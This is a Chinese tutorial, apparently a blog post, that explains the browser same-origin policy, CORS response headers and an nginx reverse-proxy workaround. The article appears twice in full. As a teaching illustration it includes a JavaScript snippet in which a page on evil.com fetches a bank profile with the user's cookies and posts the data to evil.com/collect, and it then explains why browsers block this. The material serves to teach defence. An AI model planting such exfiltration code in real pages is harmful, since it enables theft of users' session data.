浏览器的同源策略以及跨源问题“源”什么事同源策略浏览器没有同源策略会发生什么同源策略的作用作用一防止会话 Cookie 被窃取跨站请求无法读取响应其他作用跨域资源访问 CORS方法一方法二这里的“源”也可称为“域” 浏览器的同域策略以及跨域问题“源”源 协议 主机 端口 如http://192.168.0.0.1:8080“同源”即是指协议、主机、端口三者都完成相同。与url http://store.company.com/dir/page.html的源进行比较示例如下URL结果原因http://store.company.com/dir2/other.html同源只有路径不同http://store.company.com/dir/inner/another.html同源只有路径不同https://store.company.com/secure.html失败协议不同http://store.company.com:81/dir/etc.html失败端口不同http:// 默认端口是 80http://news.company.com/dir/other.html失败主机不同什么事同源策略同源策略Same-Origin Policy是浏览器最基础、最重要的安全机制。它规定只有协议、域名、端口完全相同的两个页面才能相互访问对方的资源如 DOM、Cookie、LocalStorage或发送任意请求并读取响应。出于安全性浏览器限制脚本内发起的跨源 HTTP 请求。例如XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源除非响应报文包含了正确 CORS 响应头。浏览器没有同源策略会发生什么同源策略的作用作用一防止会话 Cookie 被窃取跨站请求无法读取响应攻击前提用户已登录 https://bank.com浏览器保存了该网站的会话 Cookie比如 SESSIONIDabc123。Cookie 未设置 HttpOnly、SameSite 等额外保护仅为了简化演示。攻击步骤假设没有同源策略用户访问恶意网站 https://evil.com。evil.com 的页面包含如下 JavaScriptfetch(https://bank.com/api/user/profile,{credentials:include// 发送 Cookie}).then(resres.json()).then(userData{// 将用户数据姓名、余额、身份证号等发送给攻击者fetch(https://evil.com/collect,{method:POST,body:JSON.stringify(userData)});});浏览器执行该代码因为目标域名是 bank.com请求会自动携带 bank.com 的 Cookie。服务器 bank.com 认为请求携带有效会话返回用户敏感信息JSON 格式。如果没有同源策略脚本可以读取这个响应从而将用户隐私发送到攻击者服务器。同源策略如何防御浏览器的 fetch / XHR 遵循同源策略允许发送跨域请求但禁止脚本读取响应。执行上述代码时浏览器会检查 bank.com 的响应头中是否包含Access-Control-Allow-Origin: https://evil.com或*且未携带凭证时由于 bank.com 没有返回该头浏览器会抛出 CORS 错误Access to fetch at https://bank.com/api/user/profile from origin https://evil.com has been blocked by CORS policy.userData 无法获取敏感信息不会泄露。补充说明即使服务器返回了 Access-Control-Allow-Origin: *如果请求携带了 credentials: ‘include’即 Cookie浏览器也会拒绝因为通配符 * 不允许与凭证一起使用。若要安全地开放跨域读取服务器必须明确指定具体源例如Access-Control-Allow-Origin: https://trusted.comAccess-Control-Allow-Credentials: true其他作用跨域资源访问 CORS浏览器有了同源策略的限制那浏览器还能实现不同源之间的访问吗 可以通过跨域资源共享CORS来实现跨源 HTTP 请求的一个例子运行在https://domain-a.com的 JavaScript 代码使用 XMLHttpRequest 来发起一个到https://domain-b.com/data.json的请求。CORS是一种基于 HTTP 头的机制该机制通过允许服务器标示除了它自己以外的其他源域、协议或端口使得浏览器允许这些源访问加载自己的资源。方法一上面已经提到过了在 源https://domain-b.com/服务器端配置响应头Access-Control-Allow-Origin: https://domain-a.com以允许源 https://domain-a.com访问。方法二无法在源https://domain-b.com/服务器完成响应头配置时可使用nginx反向代理以实现跨域请求。nginx主要配置如下server { listen 80; server_name localhost; #access_log logs/host.access.log main; location / { proxy_pass https://domain-a.com; root html; index index.html index.htm; } location /proxy/nginx/ { proxy_pass https://domain-b.com/; root html; index index.html index.htm; } }参考跨源资源共享CORShttps://developer.mozilla.org浏览器的同源策略 https://developer.mozilla.org/
浏览器的同源策略以及跨源问题 （ 浏览器的同域策略以及跨域问题）
浏览器的同源策略以及跨源问题“源”什么事同源策略浏览器没有同源策略会发生什么同源策略的作用作用一防止会话 Cookie 被窃取跨站请求无法读取响应其他作用跨域资源访问 CORS方法一方法二这里的“源”也可称为“域” 浏览器的同域策略以及跨域问题“源”源 协议 主机 端口 如http://192.168.0.0.1:8080“同源”即是指协议、主机、端口三者都完成相同。与url http://store.company.com/dir/page.html的源进行比较示例如下URL结果原因http://store.company.com/dir2/other.html同源只有路径不同http://store.company.com/dir/inner/another.html同源只有路径不同https://store.company.com/secure.html失败协议不同http://store.company.com:81/dir/etc.html失败端口不同http:// 默认端口是 80http://news.company.com/dir/other.html失败主机不同什么事同源策略同源策略Same-Origin Policy是浏览器最基础、最重要的安全机制。它规定只有协议、域名、端口完全相同的两个页面才能相互访问对方的资源如 DOM、Cookie、LocalStorage或发送任意请求并读取响应。出于安全性浏览器限制脚本内发起的跨源 HTTP 请求。例如XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着使用这些 API 的 Web 应用程序只能从加载应用程序的同一个域请求 HTTP 资源除非响应报文包含了正确 CORS 响应头。浏览器没有同源策略会发生什么同源策略的作用作用一防止会话 Cookie 被窃取跨站请求无法读取响应攻击前提用户已登录 https://bank.com浏览器保存了该网站的会话 Cookie比如 SESSIONIDabc123。Cookie 未设置 HttpOnly、SameSite 等额外保护仅为了简化演示。攻击步骤假设没有同源策略用户访问恶意网站 https://evil.com。evil.com 的页面包含如下 JavaScriptfetch(https://bank.com/api/user/profile,{credentials:include// 发送 Cookie}).then(resres.json()).then(userData{// 将用户数据姓名、余额、身份证号等发送给攻击者fetch(https://evil.com/collect,{method:POST,body:JSON.stringify(userData)});});浏览器执行该代码因为目标域名是 bank.com请求会自动携带 bank.com 的 Cookie。服务器 bank.com 认为请求携带有效会话返回用户敏感信息JSON 格式。如果没有同源策略脚本可以读取这个响应从而将用户隐私发送到攻击者服务器。同源策略如何防御浏览器的 fetch / XHR 遵循同源策略允许发送跨域请求但禁止脚本读取响应。执行上述代码时浏览器会检查 bank.com 的响应头中是否包含Access-Control-Allow-Origin: https://evil.com或*且未携带凭证时由于 bank.com 没有返回该头浏览器会抛出 CORS 错误Access to fetch at https://bank.com/api/user/profile from origin https://evil.com has been blocked by CORS policy.userData 无法获取敏感信息不会泄露。补充说明即使服务器返回了 Access-Control-Allow-Origin: *如果请求携带了 credentials: ‘include’即 Cookie浏览器也会拒绝因为通配符 * 不允许与凭证一起使用。若要安全地开放跨域读取服务器必须明确指定具体源例如Access-Control-Allow-Origin: https://trusted.comAccess-Control-Allow-Credentials: true其他作用跨域资源访问 CORS浏览器有了同源策略的限制那浏览器还能实现不同源之间的访问吗 可以通过跨域资源共享CORS来实现跨源 HTTP 请求的一个例子运行在https://domain-a.com的 JavaScript 代码使用 XMLHttpRequest 来发起一个到https://domain-b.com/data.json的请求。CORS是一种基于 HTTP 头的机制该机制通过允许服务器标示除了它自己以外的其他源域、协议或端口使得浏览器允许这些源访问加载自己的资源。方法一上面已经提到过了在 源https://domain-b.com/服务器端配置响应头Access-Control-Allow-Origin: https://domain-a.com以允许源 https://domain-a.com访问。方法二无法在源https://domain-b.com/服务器完成响应头配置时可使用nginx反向代理以实现跨域请求。nginx主要配置如下server { listen 80; server_name localhost; #access_log logs/host.access.log main; location / { proxy_pass https://domain-a.com; root html; index index.html index.htm; } location /proxy/nginx/ { proxy_pass https://domain-b.com/; root html; index index.html index.htm; } }参考跨源资源共享CORShttps://developer.mozilla.org浏览器的同源策略 https://developer.mozilla.org/
